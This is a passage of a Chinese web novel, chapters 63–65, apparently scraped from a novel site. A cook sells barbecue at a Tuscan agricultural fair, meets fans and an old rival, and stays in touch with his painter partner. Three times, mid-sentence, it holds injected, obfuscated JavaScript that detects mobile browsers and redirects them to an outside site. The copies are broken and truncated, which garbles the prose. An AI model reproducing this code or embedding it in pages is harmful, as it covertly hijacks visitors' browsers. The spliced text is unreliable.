蒋醉余把消息截屏塞进专门相册，迎向来接他们的洛伦佐：“我记得你家不是威尼斯的吗？” 洛伦佐兴高采烈：“你们可真是来对时间了，你在街上随便找个人问问就知道，这周正好是年度农业集市的第十年，好多人专门跑过来玩呢，不过泽菲尔不在真可惜。” “是啊。”蒋醉余捕捉到关键词，有了点反应。 洛伦佐不负《美食之王》第一气氛组的名头，单口相声也能说上半天：“我看了你们的节目，螺蛳粉和盖饭那两期看着真好吃，你这周准备卖什么呀？” 这就要问路人了。 “烧烤吧。” 在几双眼睛和摄影师的围观下，被拦住的华人说：“炭火香味很浓，滋滋流油的那种明火烧烤，把孜然和大块羊肉一起在嘴里碾碎，我可太馋了。” 另一位受访者大笑起来：“在这个时候你让我随便说一个的地方，我当然要说农业集市了。好多没见过的大人物和媒体都来了呢。” 蒋醉余眼前一亮。 63. 小饼烤肉卷葱 作为意大利有名的田园牧歌乡村，托斯卡纳大区的农业集市相当有名。 它几乎有些像是一场博览会，除了最初级的农作物和加工品，也涵盖手工业制品和互动区域，以及一个全部使用本地食材的美食馆。 节目组紧急申请摊位，蒋醉余在距离消防装置不远的地方拥有了一小片档口。 以效率见长的华人工程队紧急施工，蒋醉余跟着洛伦佐去农产品馆寻找供应商。 “这些全都用来烧烤？”洛伦佐看着他长长的进货单，有些困惑，“牛羊猪肉我能理解，为什么还有蘑菇、面粉甚至野葱啊？” 烧烤和烤肉是不同的概念，对洛伦佐来说，他印象中的烧烤通常就是各式各样的烤香肠，希腊和东欧人可能会烤一些鸡肉、羊肉串之类，但那都是在特色菜馆才能看见的。 他在托斯卡纳待了好几周，还是第一次知道集市里有这些山货。 “那是因为你不像我一样带着目的寻找，”蒋醉余把面粉塞给他，“加油啊这位嘉宾。” 蒋醉余买了好多食材，正忙着处理。 五花肉、牛羊肉切成合适的大小，蘑菇去蒂、茄子对半切开，大蒜辣椒等辅料各自剁碎。 野葱只需要清洗一下，他在洛伦佐震撼的眼神里揪下一块生吃：葱味浓郁，带点微甜。 在意大利这个把面饼玩出花样的国度，蒋醉余很自然地想起去年在国内出尽风头的烧烤。 那时候他还没离开男团，也跟着几个关系还可以的队友一起去吃过剧院附近的淄博烧烤。可惜跨越一条长江，食物似乎也变了味道。 反而是梦里那位已经鲜少出手的国宴菜名厨师父，带他研究了好一阵子各地烧烤，嘴里总念叨着一句话。 “饮食的根在民间。” 两天后，熟悉的语句从场馆的电视里传来。 蒋醉余抬头望去，说话的正是一位身穿中山装的大佬。集市开幕仪式邀请了不少平日难得一见的人物。 他还没来得及想想这其中的关联，集市已经开馆，顾客蜂拥而至。 吃货们不关心托斯卡纳的葡萄怎么卖，不怎么好奇今年的南瓜王直径能有多大，也没多想近距离抚摸小牛和家兔的皮毛。 他们目标明确，向着掌握源头新鲜食材的美食馆冲来。 巨大的排风管道启动了，蒋醉余点燃炭火，随手抓来一把肉串。 档口加装了玻璃，挡住滚烫的空气和好奇的游客，于是摊主可以肆意展示火焰的魔法。 他左手抓一小把五花肉串，右手抓着大块的羊肉串，手腕灵活转动。 明明两种烤串需要的翻面频率毫不相似，却在他手里显得井然有序，跳一支你进我退的舞曲。 他就像最娴熟的艺术家，已经把肉类的节奏刻进肌肉。 这样的场面并不多见，游客在玻璃窗前驻足。 肉串已经烤了一小段时间，蒋醉余右手前三指抓着大把羊肉串，却在中指和无名指之间夹住左手的那一小把五花肉串。 肥肉随着温度融化，油脂滴在炭火上，成为最优越的可燃物，火舌瞬间窜了起来。 然而摊主眉目冷淡，兀自越过烈火取来调料，轻巧地撒在肉串上。五花肉不需要自然，便半点没沾上。 肉串被移到火力微弱的烤炉末尾。农业集市不需要发愁客流，蒋醉余有足够的自信，这批烤肉没有半点可能遭受冷遇。 但他仍是取过两根肉串，用一根尖端向下一压，另一串肉就丝滑地落在了准备好的盘子里。 “欢迎试吃。”他站在橱窗后说。 也许玻璃和喧闹的场馆会遮蔽他的声音，但迫不及待的食客们显然不在意这个。 他们蜂拥到盘子边，自觉地互相监督每人只许吃一块。 也有人岿然不动，走到档口前：“醉余！没想到能在这里看到你，我是《摆摊日记》的观众，能合影吗？” 蒋醉余指指观众身后迅速变长的队伍：“看起来我不太有时间。” 观众一扭头，被攒动的人影吓了一跳。 他怀着求生欲对心爱电子榨菜的信任飞速点餐：“那就每样都来一份吧。” 蒋醉余三两下拣出他想要的食物，叮嘱道：“肉串可以搭配小饼和野葱吃。” 野葱？ 招牌上好像没写这个，观众望过来，眼看着洛伦佐从桌上掐了一根水灵灵的小葱，和小饼一起装进袋子。 观众捏着小葱神思恍惚地离开档口。 他能闻到袋子里隐隐传来的那股麦香，和意大利风靡全球的披萨饼底同为烤制面饼，却是截然不同的味道。 这份面饼与其说是烤制加工而成，倒不如说只是在火上烘了一下，仍旧奶白柔软。外皮略带韧劲，一咬开热意便争先恐后涌出，裹着水汽扑到脸上。 洛伦佐不知道这是否符合蒋醉余想要的质感，但至少他在尝过烤五花肉和野葱之后想到的是这样的搭配。 五花肉被卷饼包住，需要谨慎地用小纸盒接在下方，不然捏住小饼的手指稍一使劲，肉汁就会顺着饼皮流下来。 观众为难地看了一眼小葱。 哪怕只是拿在手里，独特张扬的香气也不住地向外发散。 这东西名字里带一个葱字，和他们常见的洋葱却完全不同，也不知道生吃会是什么味道。 用门牙小心地咬住一丁点葱叶，就能撕下来一缕纤细的纤维。 葱叶打破了五花肉的浓郁厚重，但这抹香味转瞬即逝。不假思索地，观众一大口咬下去。 旁边用余光偷看吃葱先锋的食客们倒抽一口气。 真的有人生啃小葱了！ 他们瞠目结舌地看着这位观众越吃越快，人群中举着一根野葱的身影十分亮眼。 “这位朋友倒是会吃啊。”电视上出现过的声音在人群中响起，中山装大佬来了。 陪同的人看看他的招牌：“前些天来还没注意到有这么个烧烤摊，是咱们侨胞吗？” 蒋醉余摇头：“是国内的团队。” 大佬露出饶有兴趣的神情。 蒋醉余手上动作不停。 顾客多起来，他就两手都握着满满的串。 两把羊肉串相互一磕，浮在表面将落未落的油滴都被甩了下去，轰地炸起一片火光。 大佬不打扰他，安静地看他烧烤。 蒋醉余已经很熟练，不需要观察自己的动作，一反常态地主动介绍起来： “我们已经在三个国家摆过摊了。团队里还有一位新锐画家，是在英国长大的混血，这两天正在英国参加毕业展，最新作品结合了国画和油画。” “哦，”大佬点点头，“我前两天刚见过他，很有想法的年轻人。” 蒋醉余笑了。 也许齐新雨早晚会回国，但至少他当下做出这个抉择和自己有脱不开的关系。蒋醉余总该为他未来的生活做些准备。 比如让一位出访欧洲各国的大佬记住他。 耳机里传来齐新雨的惊呼：“是前两天来过我们学校的那位先生吗！” 蒋醉余瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775140|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一眼手机，在内心默默颔首。 电话那边的镜头前仍然晃动着斜斜照着一面白墙，齐新雨介绍画作的声音偶尔顺着网线飘过来，显然只是忙里偷闲。 蒋醉余不问他的落荒而逃，只提出视频聊天：虽然他们挂着通话，既不聊天，也不视频，只剩蒋醉余单方面分享。 关于大佬的问句是齐新雨对他说的第一句话。 齐新雨守在毕业展当“看板郎”，因为看着人畜无害，总要被观展人拦住问问题。 院长给了他一个单独的小展厅，他把前几年的一些作品也挂了上去，大多是在非洲采风的时候留下。 昨天他举着手机，一言不发地给蒋醉余欣赏了半天自己的布展思路。 作品是齐新雨从前的风格，生活在辽远稀树草原的人们自带旺盛得令人心悸的生命力，眼神明亮，肌肉藏着力量。 这样的画面又被蒙上一层冷淡的隔阂感：说怜悯或悲悯太居高临下，倒不如说那股子疏离是创作者对自己的审视。 与之形成鲜明对比的，是齐新雨的毕业画作。 仍然是热烈的人间，他似乎天生就能看到人类身上风格各异的美，但这次的画家却不再冷眼旁观，他终于开始感到欣喜。 齐新雨又不说话了，蒋醉余正想说点什么，就看到他的头像忽然变了模样。 变成白底黑字，好显眼的一段话： “被以前在非洲常驻过的大佬夸了，我画的好多场景他都能说出来当地习俗，还夸我这个题材选得真好。 “他真有眼光，我老师非要说我还不够沉浸。” 没有抬头，不带落款，仿佛只是表达账号主人一点很随意的激动，就像钓鱼捞钓到米级大鱼一样恨不得全朋友圈都知道。 改换的时机却那么凑巧。 蒋醉余看着那行字，忍不住在大佬面前低低地笑出来。 齐新雨三岁摸画笔，不到十岁就开过个人展，认识的都是曲高和寡小圈子里的人，作画观画买画，来来回回都是那么些人。时间久了，他就没了兴趣。 反而这次参加学校的展览，从小学生和附近居民，到设计影视等等临近行业的人。 他们可能缺乏鉴赏理论，却偶尔能说出些天马行空的有趣见地。 “不管餐饮还是绘画，都是很重要的文化领域啊。”大佬笑呵呵地说。 蒋醉余回过神来。 这一批烤串也够了火候。 少量肥肉烤得金黄，其中最突起的外侧边缘略显烧焦，形成油渣一般的脆壳。只是看着它们，就能想象出一口咬开后爆汁的滋味。 在身后人欲言又止的眼神里，大佬也要了一串。 队伍走得很快。随着临近饭点，选择要小饼的客人越来越多，两个头戴摄像机的游客好奇地靠近。 “老板，你是就这周摆摊吗？”他们不在队伍里，凑过来问道。 蒋醉余摇摇头，游客便松了一口气。 “吓死我了，我还以为你也是那种农产品商请来的推广厨师，吃过这几顿以后都没地方找……那这些摄像机是怎么回事呀？” 洛伦佐回复：“他们这周在这录节目。” 游客点点头：看来只有这周需要注意摄像机。 问话的人戳戳自己的同伴，大声密谋。 “这个烧烤闻着也太香了，我们要不晚点再去那家新开的随机料理日料店吧。” “反正店面就在那，也不会长腿跑了，我觉得这个烧烤比我前两天路过日料店闻到的烤鳗鱼香多了。” 64. 蒜蓉酱烤茄子 拍摄计划在强大的感官刺激面前不值一提。 “那家店又不是预约制，”顶着摄像机的恩佐说，“我们要不晚餐再过去吧。” 他指着摊位上崭新的价目表：“吉安娜，你看，它的定价也很符合我们的要求。” “好吧好吧，”吉安娜转身，“那就去排队吧。” 他们从档口旁边的“围观位”让开，去寻找漫长队伍的尽头。 恩佐照了一张价目表，抱着手机念念有词：“我们的探店标准是一人十欧元，作为一顿正餐首先肯定要吃小饼……” 烧烤的香气萦绕在鼻腔，他默默下定决心，一定要把份额的十块钱花得干干净净。 他们兴致勃勃地讨论了八百遍菜单，终于又一次见到摊主的脸。 “怎么办，”吉安娜突然犹豫起来，“我突然觉得那个蘑菇和茄子看起来也很好吃啊。” 他们旁边的那对母女已经在摊位旁边站了很久，母亲应允了要去排队买烧烤，可小孩子一刻也不愿意远离橱窗。 她趴在玻璃上，全神贯注地盯着烤蘑菇，不知道第几次喊起来： “妈妈！蘑菇出水了！” 去蒂口蘑平躺在锡纸盒里，随着厚实的伞盖变得紧缩，去蒂留下的小洞里漾了满满一包汁水，鲜香冲破牛羊猪肉串的联合封锁，飘进前排每位食客的鼻腔。 原本两位探店博主已经说好了，除了小饼全点肉串，他们的很多观众都有自备蔬菜水果的习惯。 可真正直面烤口蘑和蒜蓉茄子的时候，他们才发现，自己根本没有哪怕半点还手之力。 场馆里信号不算太好，漫长的排队过程中，游客们的娱乐活动基本只剩下聊天和看摊主烧烤。 越看越饿，越饿越看。 那只其貌不扬的烤茄子就像有魔力，当众人看到蒜蓉酱的汁水慢慢渗进茄肉、看到优雅的紫色外皮变成皱巴巴巫婆似的黄褐色，心中却只剩下兴奋。 吾家有茄初长成！ 摊主用锡纸盖上茄子焖熟它们，队伍中立刻发出许多声不约而同的叹气和挽留。 “我其实已经盯好了。” 被蔬菜俘获的并不只有吉安娜，恩佐小声坦白。 “我准备买第三排第四只茄——怎么有人把我的茄子夹走了！它刚上烤炉我就看上它了！” 摊主听不见他悲愤的呼号。 恩佐化悲愤为动力，被美食刺激的大脑飞速运转，想出了一套以肉串为主又能尝鲜的点单组合。 他选了外带的竹签，举着两人份的烤串，招摇过市。 像他们这样有意志力能不当场吃掉烤串的游客很少，偏偏蒋醉余因为申请摊位太晚，几乎是坐落在场馆的尽处。 偏偏吉安娜想要在烤串的背景里体现出农业节的热闹。 为了保证自己头上的摄像机拍出足够合适的画面，恩佐不得不把烤串举到面前紧盯着它们，一路跟着吉安娜向出口走去。 “吉安娜，我觉得有人在看我。”恩佐有点紧张，他感觉如芒在背。 领路的吉安娜没有回头，他们两个从来都不正脸出镜：“农业节人这么多，应该是你的错觉吧。” 恩佐不太认同，但是面前的香气扑鼻的烧烤们完全攥取了他的心神，他懒得辩驳。 一镜到底走到了场馆门口，他终于长出一口气，收回发酸的手臂，当场咬住一块羊肉。 “我就吃一口，观众不会发现的。”他对欲言又止的吉安娜含糊地说。 “不，我不是这个意思……” 吉安娜让他回头。 恩佐回过头去，浩浩荡荡一群人跟在他身后，露出终于有人发现我们的表情。 “哥们你太专注了，我们那么多人喊你，你一句也没听到吗！” 他们看出来恩佐头上的摄像机，不敢拍他的肩膀，怕影响对方拍摄，结果恩佐愣是一路追着喊着走到了门口。 甚至他怀疑被凝视的时候，都没考虑过场馆里清晰的喊话声是不是在叫自己。 他就像某个著名策略游戏里举着旗子的那只僵尸，带领着浩浩荡荡的游客大军穿馆而过。 “我跟了你半个馆，就想问一句话，”最前面的游客说，“你这个烤串在哪买的啊！” 恩佐愣住，报了蒋醉余的摊位号码。 他话音未落，人群轰然散去。 旗手僵尸恩佐遗憾地看着他们扭头就跑，恨恨地换了一根串又咬掉一块肉。 僵尸吃掉了你的烤串。 “那串是我的！”吉安娜崩溃地叫起来。 “快走吧，”恩佐果断转移话题，“找个凳子把烤串吃完，休息休息晚上去日料店，正好它是不是每周四晚上推出新菜单来着。” 两个人拉拉扯扯地跟着地图走开，转身冲回场馆的食客们则震惊地看着越来越长的队伍。 在农业节卖这种不怎么需要提前腌制的烧烤，最大的好处就是不用担心食材耗尽。 只要还有需求，供货商就能随时从隔壁场馆把菜运过来。 “怎么还有这么多人来。”这下连蒋醉余都有点震惊了。 洛伦佐大感意外：“你没看外网的数据吗，今天的直播可太火啦，我朋友刚刚还在说，要不是工作太忙，现在就要过来吃呢。” 烧烤这样的人间烟火气，实在太适合传播了。 从千百年前前智人刚刚驯服火焰，就把碳烤的香气刻进了味蕾。它也许难登大雅之堂，却能引起每个人的向往和共鸣。 “我们都是一下飞机就赶过来了哦。”客人向他展示手中的行李箱。 托斯卡纳的农业节是个大活动，官方专门安排了往返于场馆与周边重要城市的车辆，其它诸如火车之类的交通方式也都增高了频率。 “好久不见！醉余，”其中一个年迈却矍铄的声音喊道，“我们一起来支持你啦。” 很多张熟悉的脸出现在蒋醉余面前。 有龙达热爱锻炼的老头何塞，有爱上了鸡爪子的肉铺老板，有《美食之王》的忠实观众大学生。 从西班牙到意大利，大学生领着一群螺蛳粉食客，翻山越海来支持他的烧烤事业。 “老板，你走以后我们找你找得好苦啊，整个西班牙，哪怕是马德里这么大的城市，都找不到和你一样的螺蛳粉了。”食客委屈地卖惨。 “其实草坪也很适合烧烤嘛，干什么非要跑到这么远的地方。”何塞絮絮叨叨，引起围观者众怒。 “干什么呢，旅游就旅游，怎么还从我们托斯卡纳挖墙脚，论美食意大利甩你们好几条街。” “你最好祈祷自己从来吃过我们西班牙的海鲜饭。” “别吵，别吵，哪国的饭菜都很好，”蒋醉余笑着安抚，“你们要点什么串呢？” 买烧烤这件主线任务一下就打断了玩笑式的争论。 蒋醉余给这几位眼熟的老主顾每人多送了一只口蘑，告别了专程赶来的龙达众人。 齐新雨在耳机里悠悠地抱怨：“哪国的饭菜都很好，除了英国……” 他话说一半，想起来自己还在生气，把话尾咽回肚子。 蒋醉余一下笑出声来。 笑声掉在地上，清晰可闻，周围不知什么时候安静下来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775141|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一群黑西装配墨镜的保镖簇拥着一个年轻人款步走来。 他走得大步流星，仿佛自带《乱世巨星》的出场音乐，蒋醉余心里一瞬间闪过很多港片。 然后那群保镖安安分分喊着“不好意思”，排在了队伍的最后方。 “什么嘛，我还以为那群人也要来呢。”洛伦佐一下失去兴致。 “哪群人？” 洛伦佐眼珠乱转，很八卦的样子：“西西里的美丽传说。” 他又搓好了一堆小饼，剩下的面团还不能用，立刻摘了手套给蒋醉余找电影截图。 蒋醉余看着那张众人点烟的名场面，似笑非笑：“我以前看过这个场景为题材的图片，倒是第一次知道出自这部电影呢。” 他在齐新雨的黑叉上见过类似的构图，当时还没明白是什么意思。齐新雨连几只手都吝啬，选了一套偏未来感的舞台服装，画了一堆围着点烟的机械手。 当时蒋醉余还以为他这是把自己画成一个操控智械危机的大反派，原来手不是重点，点烟才是。 视频那头的人好像很忙，没了声响。 西风太太不敢说话。 时间在无尽的机械劳作烧烤中流逝，闭馆的通知已经响起，墨镜年轻人终于排到了蒋醉余面前。 他摘下墨镜，露出哈士奇一样的傻狗笑容：“可算逮着机会和前辈说话了。” 蒋醉余瞥他一眼，这家伙来吃烧烤还穿着一身名牌，耳钉戒指无处不精细。 “前辈可能不知道我，我叫丁柳，在巴黎买过你的盒饭，”年轻人说，“但是我和南楠有仇哦。” 好久远的名字。 蒋醉余说：“谢谢你的支持，我记得你在巴黎来过，我已经退团了。” 他怎么可能不记得。 就是面前这位新晋顶流买了盒饭发微博带定位，害得他被打卡爱豆同款的追星女孩围堵！ 蒋醉余轻飘飘推开他的试探，丁柳不气不恼： “我知道《美食之王》引进国内受挫、后来梅森主厨暴雷的消息大范围串开，都是南楠动的手。” 南楠恨他恨得要死，在人来人往的片场就敢指示助理下黑手。 偏巧，富二代丁先生带资进组，和他演的是同一部大制作商业烂片。 “那还算他坏心办好事了，”蒋醉余笑了，“不过我只是个厨子，你的消息对我没什么价值。” 他已经走出娱乐圈太久了，甚至不想知道南楠怎么得罪了这个人。脱离了百人男团那片狭窄的天空，才发现所谓“原书攻受”的力量多么渺小。 世界这么大，哪里是一本书能概括的。 丁柳咧开嘴，没了那种美而自知的傲气，露出傻狗似的笑。 他看也不看档口的食物：“剩下的烧烤我都包了。” 他身后保镖军团拎着满满当当的烧烤，在其余客人愤恨的眼神里扬长而去。 蒋醉余看着他们的背影，又想起来洛伦佐手机上那张电影截图。 可能是许久未见的名字勾起回忆，比起他自己，这场景更让他想起书里描述的齐新雨的结局。 年轻的画家敞开画室大门，以自己的作品为筹码，换取想要购买作品的藏家们围攻原书攻受。 他不再拿起画笔，而是带着一身过往，走上台前。 反派的落幕太盛大，蒋醉余看了一遍就记住。 “小雨。”他迫切地按住耳机：随便什么创作题材吧，只要齐新雨还愿意画就行。 “嗯？”齐新雨传来一个困惑的音节。 “没事，”蒋醉余说，“就是我很想你。” 65. 香菜豆腐皮卷 西风太太偷偷摸摸删了一幅画。 胆大心细，胆大包天，当着蒋醉余的面删的。 场馆信号断得很是时候，齐新雨听得断断续续，只知道似乎有人提起南楠。 蒋醉余坐在从集市回酒店的车上，旁若无人地说小雨我想看看你。 被坏消息的乌云笼罩的人类，总是很需要安慰。 齐新雨对这种话没有半点抵抗能力，唯一的意志力用在了他一边用手机打视频，一边在平板上飞快地翻出那张老图，删掉博文。 他微微蹙眉，发现自己现在看着画里那些点烟的机械手都有点不爽。 蒋醉余正准备截图留待秋后算账，眼看着一幅画瞬间消失：“不说那些了。我们今天碰到了两个来探店的博主。” 他切回视频通话，就看到齐新雨又换了头像。 仍然是熟悉的白底黑字，五个大字掷地有声：“好想吃烧烤。” “怎么这么可爱啊小雨。”蒋醉余再看一次仍忍不住感叹。 “你还有几十年可吃呢。别说吃烧烤了，吃厨师本人都行。” 光天化日，说的什么话。齐新雨在屏幕那头瞪他，猫儿眼圆睁，威慑力约等于零。 “我刚才是想说，”蒋醉余捡回话题，“我觉得那两个博主这种生活状态就很不错。等我们回了国，我就不接这种真人秀综艺了。” 到时候，齐新雨想去哪写生他们就去哪。想拍视频就拍一点，不想透露行踪就玩人间蒸发。 今天见到丁柳，彻底坚定了他关于自己不适合娱乐圈的信念。 这些弯弯绕绕爱恨情仇人类悲欢，只让他觉得吵闹。 蒋醉余回忆着那两位博主。 他以前不会在意自己的客人在美食之外的世界里是什么样子，此时却想事无巨细地描述。 甚至有点懊恼自己全神贯注做菜，没怎么仔细观察漫长队列里风格各异的食客。 所以他们两个长什么样来着？ 吉安娜和恩佐刻意遮掩面容，文艺作品里常见的帽子口罩眼镜变装三件套一应俱全。 他们不是那种天南海北巡游的美食侦探，活动区域十分局限，赛道也很固定，只好在受众群体足够大。 他们拥有自己的网站，专门收录佛罗伦萨城里那些物美价廉、能够支持社畜或者穷鬼大学生在十欧元内吃到一顿正餐的餐厅。 他们今天难得离开城市，跑到郊区的这个乡野小镇，就是因为有观众投稿说这里新开了一家味道相当好的日料店。 店铺从不到一个月前开始，推出了每周随机限定食物的机制。 第一周卖的是拉面，第二周是各种各样的“丼”，也就是盖饭，上周的限定款不是正餐，而是香浓醇厚的抹茶牛奶。 “这周的限定菜单是炙烤主题，除了炙寿司以外，烤鳗鱼也是店长粥川先生很推荐的哦。” 一进店，他们就收到服务员轻言细语的接待。 以新锐名厨手作为卖点的寿司，饭团上还带着虎口余温，喷枪在新鲜肥嫩的三文鱼表面略过，逼出油脂，更刻上深浅不一的烘烤纹路。 烤鳗鱼肉质细软，被酱料腌得相当匀称，每一口都能感受到日式酱料独特的浓厚香甜。 两人纷纷为之折服：“店主一定是早早就决定了这周的菜单，世界上怎么会有如此入味的烤鳗鱼。” 再把鳗鱼和鲜甜的洋葱炒蛋、晶莹的米粒混合在一起，饶是恩佐这样吃意面意饺披萨长大的“小麦脑袋”，也不由得被它征服。 虽然一份鳗鱼盖饭就稍微有点超出十欧元的预算，他仍然坚持把写进了自己的推荐列表。 “集市上的烧烤摊这周在录制节目，不想入镜的用户可以考虑下周再来，”恩佐一本正经地写，“我们会为大家实时更新店主在农业节以外的店铺位置。” 自媒体吃流量最重视时机。 趁着集市还有好几天，两人加班加点做完了这一期推文，发布在自己的平台，又把探店视频也上传到视频网站。 疯狂剪辑一上午的吉安娜伸个懒腰，揉揉肚子：“我怎么有点想再去一次烧烤摊……” 恩佐喜出望外，大力点头：“俺也一样！” 这是一个相当明智的决定。 昨天酱香浓郁、汁水充盈的烤茄子已经足够让他们震惊，摊主今天竟然还能推出新的菜品。 只看那两种烤串的外表，美食博主的灵魂就本能兴奋起来。 “我从来没想过，烧烤竟然还能这样做……”吉安娜掏出随身携带的相机。 “醉余你这个吸引回头客的本领真的太恐怖了，”洛伦佐看着一开馆就排起来的长队，啧啧称奇。 “那两个美食博主来了，哇哦，昨天那个假黑手党也来了。” 蒋醉余恨不得自己长出八只手，忙得苦不堪言，暂时不想理他。 饶是镇定如蒋醉余，也免不了半夜冲动决策。 他又开始翻看西风太太的社交媒体，却在一片被屏蔽或者没被屏蔽的图片中难得看到一则日常博文。 几个月前的博文里，明晃晃写着一句“想吃金针菇肥牛卷”。 为了这句随口感叹，他一大早就起来把原本切块做烤串的牛肉裹卷都刨成肉片，把金针菇挨个卷进去，每串配两根签子。 面对“想起来小雨以前说想吃”的解释，洛伦佐揉着面团，调侃了他一早上。 “在前辈答应跟我合照、让我发到社交媒体之前，我那天都会来的。”丁柳志在必得。 蒋醉余不知道南楠怎么得罪他了，需要采取如此幼稚的报复方式。就南楠那个性格，看到自己现在是个路边摊厨师，恐怕不仅不会破防，还会笑醒吧。 但丁柳不管。 他眼里燃烧着熊熊烈火，蒋醉余自觉不在热血番片场，只能叹了口气：“今天新品金针菇肥牛卷和豆皮香菜笋丝卷，来点吗？” 熊熊烈火被浇灭了。 丁柳歪了歪头，语言中枢失调：“豆皮……香菜……笋丝……卷？” 这是哪来的搭配啊！ 厚实豆皮切成指节长，里面裹上满满当当同样长度的香菜，望不出笋丝在哪。米黄和翠绿配色的确清新，却莫名有种为了减肥吃清水火锅煮蔬菜的乏味。 与之形成鲜明对比的是旁边的金针菇肥牛卷。 金针菇比肥牛卷长得多，流苏似的微微垂下来。 作为一种常年被诟病无趣的菌类，它们虽然看上去细瘦，也依然能在高温烘烤下被压榨出鲜香扑鼻的汁水。 它们滋润着肥牛卷，随时补上流淌下的油脂的空缺，把菌香渗透进每一分肌理；而肥牛也“礼尚往来”，用油脂烹熟紧紧挤在一起的金针菇。 两种味道相互交融，经典组合永不过时。 不是我想拉踩，这两个比起来实在是高下立现啊。 丁柳看着旁边的香菜卷，暗自撇了撇嘴。 香菜和豆皮，两个都干巴巴，两个都没有能挑大梁的味道，在加上一个没有存在感的清淡笋丝，简直比粉丝们搞的那些按头拉郎还离谱。 “我都吃烧烤了，是来吃这个的吗！”他豪气万丈地说，把经纪人的叮嘱全都抛到脑后。 蒋醉余不理急性子食客，兀自拿出小刷子。 酱汁被均匀地涂在豆腐皮上，棕红浓稠液体凸显出豆腐皮凹凸起伏的纹理。 粉在烘烤中蒸发，只剩浓郁的酱香攀附其上。 他把豆皮卷一个个扒到盘子里，仍是那句话：“欢迎试吃。” 丁柳不理解他这副稳坐钓鱼台的态度，一马当先扎住一块豆腐皮卷。 酱料里不知混合了多少原料，被滚水煮成融融一汪，又浓缩至如今模样。他味蕾不聪明，尝不出这样复杂的风味，只隐约意识到一件事： 蒋醉余的确有藐视娱乐圈是是非非的资本。 他昨天吃到的那些烧烤，除了烤茄子蒜蓉酱来不及现熬、所以昨天早早售罄，都只不过加一把素盐，看不出厨师的调味水平。 今天的酱汁却不一样。 豆皮很难入味，酱料浮于表面，依依不舍地挂在口腔里，回味甘甜。 食客还来不及感到失落或仔细咂么那一点甜味，牙齿不经意碾碎了香菜，浓烈而独特的气味顷刻爆发。 香菜两端被微微烘干，唯独中心遭豆皮保护得当，仍然多汁脆嫩。 但就算是想把地球种满香菜的香菜激推也要承认，香菜会惩罚贪婪的饕餮，若贪多难免泛出半丝苦意。 这样的阶段并不出现在豆皮卷里。 没到食客倦怠时候，笋丝终于姗姗来迟。 骨汤煮成的竹笋仿佛宝箱，被珍而重之地藏在豆皮和香菜的怀抱里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775142|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 打开宝箱才发现，宝藏就是包厢本身。笋丝清脆，纤维在臼齿的压榨下终于撒手甩出体内的骨汤，像是凝缩了一整碗春日的腌笃鲜。 洛伦佐实在想不明白，在这样的季节，在这样陌生的环境里，蒋醉余怎么能迅速地找到这种罕见的食材。 他盯着厨房里的食材，已经发出了无数次“我们意大利还产这个”的声音。 “我耳濡目染，总能学到点和人打交道的方法吧。”蒋醉余说。 洛伦佐想想齐新雨，他们虽然只见过两面但他印象很好，正欲点头。 丁柳忽然回过神，忙乱地扬起嗓子：“不，您不需要和人打交道……前辈，我错了，请你千万不要靠近娱乐圈半步。 “谁不让你做菜，谁就是我的敌人、人类的罪人。” 他说得慷慨激昂，刷卡动作干脆利落：“所以我能把豆皮卷全包了吗？” “不能！” 这下轮到以恩佐为首的游客们尖锐爆鸣。 恩佐刚看见一个手机里正显示自家网站的食客，正自鸣得意，就听到这样惊世骇俗的发言。 “老板的美食，人人得而享之。”恩佐急死了。 “在场这么多饥肠辘辘的客人，可不要小觑人民群众的力量啊，”蒋醉余笑着看了一眼丁柳，“既然大家都同意，那我们现在开始限购吧。” 吉安娜眨眨眼，抓住恩佐。 “不是我说的，”恩佐举起双手，认错态度良好，强行改换关注点，“你看，排到我们的观众了，她怎么好像一点都不着急。” 吉安娜顺着他的视线望去，一眼就认出他所说的那位女士。 完美符合他们的用户画像，褐色盘发、职业套装，神色略显疲惫，踩了双平底鞋在拥挤的人潮中站得岿然不动。 好一位都市隶人。 这位观众要了小饼、五花肉和金针菇肥牛卷。她闻了闻香菜卷的味道，摇摇头，有些接受不了。 “只吃肉可能有点腻，野葱是免费的哦。”洛伦佐提醒。 “没事，”观众坚持自己的选择，“我自己带了青菜。” 她接过带着热气的烤串，微微睁大双眼。 跟着吉安娜和恩佐的网站指南吃了这么多次，如果说从前的餐厅是物美价廉，那么今天这顿简直可以在堂上挂四个大字：菩萨心肠。 只是闻着烤串的香味，就让她想要不顾形象地站在场馆里当场用餐。 刚刚离开炭火的五花肉肥肉和肉皮部分还偶尔爆开，细碎的声响无时无刻不勾引唇齿。 不行，串在面前而不吃比开会听上司讲空话还难忍。 她深吸一口气试图安抚叫嚣的胃液，却平复失败，终于放弃忍耐。 